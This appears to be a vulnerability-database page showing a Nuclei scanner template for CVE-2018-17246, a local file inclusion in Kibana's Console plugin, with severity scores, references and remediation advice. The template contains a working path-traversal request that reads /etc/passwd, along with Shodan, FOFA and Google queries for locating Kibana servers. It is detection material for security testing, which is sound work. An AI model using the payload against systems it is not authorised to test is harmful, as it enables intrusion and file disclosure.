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ProjectDiscoveryNUCLEI:CVE-2018-17246

HistoryApr 08, 2021 - 9:01 p.m.

Kibana - Local File Inclusion

2021-04-0821:01:08

ProjectDiscovery

github.com

kibana

local file inclusion

vulnerability

elastic

vulhub

cve2018

critical

information disclosure

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

0.963

Percentile

99.6%

JSON

Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

id: CVE-2018-17246

info:
  name: Kibana - Local File Inclusion
  author: princechaddha,thelicato
  severity: critical
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further attacks.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://access.redhat.com/errata/RHBA-2018:3743
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17246
    cwe-id: CWE-829,CWE-73
    epss-score: 0.96638
    epss-percentile: 0.99612
    cpe: cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elastic
    product: kibana
    shodan-query: http.title:"kibana"
    fofa-query: title="kibana"
    google-query: intitle:"kibana"
  tags: cve,cve2018,lfi,kibana,vulhub,elastic

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"message\":\"An internal server error occurred\""

      - type: word
        part: header
        words:
          - "kbn-name"
          - "kibana"
        case-insensitive: true
        condition: or

      - type: word
        part: header
        words:
          - "application/json"
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